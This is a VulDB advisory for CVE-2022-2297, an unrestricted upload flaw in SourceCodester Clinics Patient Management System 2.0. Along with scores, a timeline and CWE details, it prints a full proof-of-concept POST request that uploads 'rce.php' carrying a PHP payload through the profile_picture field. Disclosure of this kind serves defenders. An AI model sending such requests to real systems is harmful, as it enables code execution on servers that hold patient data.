



VDB-203178 · CVE-2022-2297

SOURCECODESTER CLINICS PATIENT MANAGEMENT SYSTEM 2.0 UPDATE_USER.PHP PROFILE_PICTURE UNRESTRICTED UPLOAD

CVSS Meta Temp Score ?

6.9

Current Exploit Price (≈) ?

\$0-\$5k

CTI Interest Score ?

0.05

A vulnerability, which was classified as critical, was found in SourceCodester Clinics Patient Management System 2.0 (Hospitality Software). Affected is an unknown part of the file `/pms/update_user.php?user_id=1`. The manipulation of the argument `profile_picture` with the input value `<?php phpinfo();?>` leads to a unrestricted upload vulnerability. CWE is classifying the issue as CWE-434. The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was presented 07/04/2022. The advisory is available at github.com. This vulnerability is traded as CVE-2022-2297. Technical details and a public exploit are known. This vulnerability is assigned to T1608.002 by the MITRE ATT&CK project.

It is declared as proof-of-concept. The exploit is shared for download at github.com. The code used by the exploit is:

```
POST /pms/update_user.php?user_id=1 HTTP/1.1
Host: localhost
Content-Length: 828
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pms/update_user.php?user_id=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9
Connection: close

-----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="hidden_id"

1
-----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="display_name"

Administrator
-----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="username"

admin
-----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="password"

-----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="profile_picture"; filename="rce.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="save_user"

-----WebKitFormBoundaryHTbuuF5mdaA9K4Fw--
```

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Product

Type

- Hospitality Software

Vendor

- SourceCodester

Name

- Clinics Patient Management System

CPE 2.3

- 

CPE 2.2

- 

CVSSv3

VulDB Meta Base Score: 7.1

VulDB Meta Temp Score: 6.9

VulDB Base Score: 6.3

VulDB Temp Score: 5.7


VulDB Vector: 

VulDB Reliability: 

NVD Base Score: 8.8

NVD Vector: 

CNA Base Score: 6.3

CNA Vector (VulDB): 

CVSSv2



VulDB Base Score: 🔒

VulDB Temp Score: 🔒

VulDB Reliability: 🔍

NVD Base Score: 🔒

Exploiting

Class: Unrestricted upload

CWE: CWE-434 / CWE-284 / CWE-266

ATT&CK: T1608.002

Local: No

Remote: Yes

Availability: 🔒

Access: Public

Status: Proof-of-Concept

Download: 🔒

EPSS Score: 🔒

EPSS Percentile: 🔒

Price Prediction: 🔍

Current Price Estimation: 🔒

Threat Intelligence

Interest: 🔍

Active Actors: 🔍

Active APT Groups: 🔍

Countermeasures

Countermeasures

Recommended: no mitigation known

Status: 🔍

0-Day Time: 🗝️

Timeline

07/04/2022		Advisory disclosed
07/04/2022	+0 days	CVE reserved
07/04/2022	+0 days	VulDB entry created
07/18/2022	+14 days	VulDB last update

Sources

Advisory: github.com

Status: Not defined

CVE: CVE-2022-2297 (🗝️)

scip Labs: <https://www.scip.ch/en/?labs.20161013>

Entry

Created: 07/04/2022 07:12 AM

Updated: 07/18/2022 02:58 PM

Changes: 07/04/2022 07:12 AM (41), 07/04/2022 07:13 AM (4), 07/18/2022 02:55 PM (2), 07/18/2022 02:58 PM (28)

Complete: 🔍

Submitter: cyberthoth

Discussion

No comments yet. Languages: en.

Please log in to comment.